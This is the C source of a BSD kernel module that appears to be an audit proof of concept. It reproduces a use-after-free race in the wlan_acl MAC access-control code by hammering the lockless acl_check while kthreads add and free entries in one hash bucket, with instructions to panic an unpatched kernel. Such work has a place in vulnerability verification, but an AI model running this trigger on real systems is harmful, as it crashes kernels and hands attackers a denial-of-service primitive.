/*
 * DF-0733 harness kernel module — real-kernel object-level proof.
 *
 * The vulnerable path (acl_check -> _find_acl in wlan_acl/ieee80211_acl.c)
 * is only reachable on a live 802.11 hostap vap, which needs a wifi radio
 * driver — none ship in the audit VM.  This module reproduces the exact UAF
 * race at the object level: it allocates a minimal zeroed ieee80211vap,
 * attaches the REAL "mac" aclator (wlan_acl.ko), and exposes /dev/df0733
 * whose ioctl handler invokes acl->iac_check(fake_vap, &frame) — the actual
 * lockless acl_check — while concurrent kthreads churn the same hash bucket
 * via iac_add / iac_remove (which DO take ACL_LOCK and call _acl_free).
 *
 * Bug: acl_check (:161-176) calls _find_acl (:136-148) WITHOUT ACL_LOCK.
 * _find_acl does LIST_FOREACH(acl, &as->as_hash[hash], acl_hash); between the
 * ADDR_EQ compare of entry E and the implicit LIST_NEXT read of
 * E->acl_hash.le_next, a concurrent acl_remove->_acl_free runs LIST_REMOVE(E)
 * + IEEE80211_FREE(E).  The foreach then reads E->acl_hash.le_next from
 * freed memory  ==>  UAF.  With INVARIANTS (default GENERIC) the freed slab
 * is poisoned / reused and the next deref faults -> panic in _find_acl.
 *
 * Setup so the race is maximally winnable:
 *   - all adder MACs share mac[5]=BUCKET  => all land in as_hash[BUCKET]
 *   - the lookup frame i_addr2 has mac[5]=BUCKET but matches no adder MAC
 *     => the foreach walks the WHOLE bucket (longest window)
 *   - adder + remover churn bucket BU continuously; checker hammers iac_check
 *
 * Load:  kldload wlan ; kldload wlan_acl ; sysctl debug.use_malloc_pattern=1 ; kldload ./harness_mod.ko
 * Drive: ./trigger [iters] [threads]    # unpatched wlan_acl => panic in _find_acl/acl_check
 */

#include "opt_wlan.h"

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/module.h>
#include <sys/conf.h>
#include <sys/device.h>
#include <sys/ioccom.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/proc.h>
#include <sys/kthread.h>
#include <sys/thread.h>
#include <sys/thread2.h>

#include <sys/socket.h>
#include <sys/mbuf.h>

#include <net/if.h>
#include <net/if_var.h>
#include <net/if_media.h>
#include <net/ethernet.h>
#include <net/route.h>

#include <netproto/802_11/ieee80211.h>
#include <netproto/802_11/ieee80211_var.h>
#include <netproto/802_11/ieee80211_ioctl.h>
#include <netproto/802_11/ieee80211_proto.h>

#define DF0733_IOCTL_CHECK	_IO('D', 2)
#define BUCKET			5	/* mac[5]=5 => ACL_HASH=5 */

static struct ieee80211vap *fake_vap;
static const struct ieee80211_aclator *acl;
static struct thread *adder_td;
static struct thread *remover_td;
static volatile int harness_stop;
static volatile int adder_done;
static volatile int remover_done;
static volatile unsigned long add_count;
static volatile unsigned long remove_count;
static volatile unsigned long check_count;
static volatile unsigned long check_allow;   /* iac_check returned 1 (allow)  */
static volatile unsigned long check_deny;    /* iac_check returned 0 (deny)  */
static cdev_t df0733_dev;

/* the lookup MAC: hashes to BUCKET, matches no adder MAC (so foreach walks
 * the whole bucket, maximizing the race window).  Adder MACs are
 * 0x02:0x00:0x00:0x00:0x00:BUCKET, 0x02:0x00:0x00:0x00:0x01:BUCKET, ... */
static uint8_t lookup_mac[IEEE80211_ADDR_LEN] =
    { 0xff, 0xff, 0xff, 0xff, 0xff, BUCKET };

static d_open_t      df0733_open;
static d_close_t     df0733_close;
static d_ioctl_t     df0733_ioctl;

static struct dev_ops df0733_ops = {
	.head = { .name = "df0733", .maj = 0, .flags = 0 },
	.d_open =	df0733_open,
	.d_close =	df0733_close,
	.d_ioctl =	df0733_ioctl,
};

static int
df0733_open(struct dev_open_args *ap)
{
	return 0;
}

static int
df0733_close(struct dev_close_args *ap)
{
	return 0;
}

static int
df0733_ioctl(struct dev_ioctl_args *ap)
{
	struct ieee80211_frame wh;

	if (ap->a_cmd != DF0733_IOCTL_CHECK)
		return ENOTTY;

	/* build a frame whose i_addr2 is the no-match lookup MAC */
	memset(&wh, 0, sizeof(wh));
	IEEE80211_ADDR_COPY(wh.i_addr2, lookup_mac);

	/* the REAL acl_check — lockless _find_acl over as_hash[BUCKET] */
	(void)acl->iac_check(fake_vap, &wh);

	__atomic_fetch_add(&check_count, 1, __ATOMIC_RELAXED);
	return 0;
}

static void
adder_thread(void *arg)
{
	uint32_t counter = 0;

	while (!harness_stop) {
		uint8_t mac[IEEE80211_ADDR_LEN] =
		    { 0x02, 0x00, 0x00, 0x00, 0x00, BUCKET };
		mac[3] = (counter >> 16) & 0xff;
		mac[4] = (counter >> 8)  & 0xff;
		/* mac[5] stays BUCKET so ACL_HASH => BUCKET */
		counter++;
		/* iac_add takes ACL_LOCK; EEXIST is fine (just churns) */
		acl->iac_add(fake_vap, mac);
		__atomic_fetch_add(&add_count, 1, __ATOMIC_RELAXED);
		if ((counter & 0x3fff) == 0)
			lwkt_yield();
	}
	adder_done = 1;
	wakeup(&adder_done);
	kthread_exit();
}

static void
remover_thread(void *arg)
{
	uint32_t counter = 0;

	while (!harness_stop) {
		uint8_t mac[IEEE80211_ADDR_LEN] =
		    { 0x02, 0x00, 0x00, 0x00, 0x00, BUCKET };
		mac[3] = (counter >> 16) & 0xff;
		mac[4] = (counter >> 8)  & 0xff;
		counter++;
		/* iac_remove takes ACL_LOCK, _find_acl, _acl_free (LIST_REMOVE +
		 * IEEE80211_FREE).  This is the free that races the lockless
		 * foreach in acl_check.  ENOENT is fine. */
		acl->iac_remove(fake_vap, mac);
		__atomic_fetch_add(&remove_count, 1, __ATOMIC_RELAXED);
		if ((counter & 0x3fff) == 0)
			lwkt_yield();
	}
	remover_done = 1;
	wakeup(&remover_done);
	kthread_exit();
}

static int
df0733_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		acl = ieee80211_aclator_get("mac");
		if (acl == NULL) {
			kprintf("df0733: wlan_acl not loaded\n");
			return ENXIO;
		}
		fake_vap = kmalloc(sizeof(*fake_vap), M_TEMP,
				   M_INTWAIT | M_ZERO);
		if (fake_vap == NULL)
			return ENOMEM;
		if (!acl->iac_attach(fake_vap)) {
			kfree(fake_vap, M_TEMP);
			return ENXIO;
		}
		/* set policy ALLOW so acl_check actually consults the hash */
		acl->iac_setpolicy(fake_vap, IEEE80211_MACCMD_POLICY_ALLOW);

		harness_stop = 0;
		adder_done = remover_done = 0;
		add_count = remove_count = check_count = 0;
		/* pre-populate bucket BUCKET so the first check walks it */
		for (uint32_t i = 0; i < 32; i++) {
			uint8_t m[6] = { 0x02, 0x00, 0x00, 0x00,
					 (uint8_t)(i >> 8), BUCKET };
			m[3] = (uint8_t)(i & 0xff);
			acl->iac_add(fake_vap, m);
		}
		kthread_create(adder_thread, NULL, &adder_td, "df0733_add");
		kthread_create(remover_thread, NULL, &remover_td, "df0733_rem");
		df0733_dev = make_dev(&df0733_ops, 0, UID_ROOT, GID_WHEEL,
				      0666, "df0733");
		kprintf("df0733: harness loaded (/dev/df0733); "
			"adder+remover kthreads churning bucket %d\n", BUCKET);
		return 0;

	case MOD_UNLOAD:
		harness_stop = 1;
		while (!adder_done)
			tsleep(&adder_done, 0, "df0733un", hz);
		while (!remover_done)
			tsleep(&remover_done, 0, "df0733un", hz);
		if (df0733_dev != NULL)
			destroy_dev(df0733_dev);
		if (acl != NULL && fake_vap != NULL)
			acl->iac_detach(fake_vap);
		if (fake_vap != NULL)
			kfree(fake_vap, M_TEMP);
		kprintf("df0733: harness unloaded "
			"(adds=%lu removes=%lu checks=%lu)\n",
			add_count, remove_count, check_count);
		return 0;
	}
	return EINVAL;
}

DEV_MODULE(df0733, df0733_modevent, NULL);
/* IEEE80211_ACL_MODULE prepends "wlan_" so the registered module name is
 * "wlan_wlan_acl", not "wlan_acl". */
MODULE_DEPEND(df0733, wlan_wlan_acl, 1, 1, 1);
MODULE_DEPEND(df0733, wlan, 1, 1, 1);
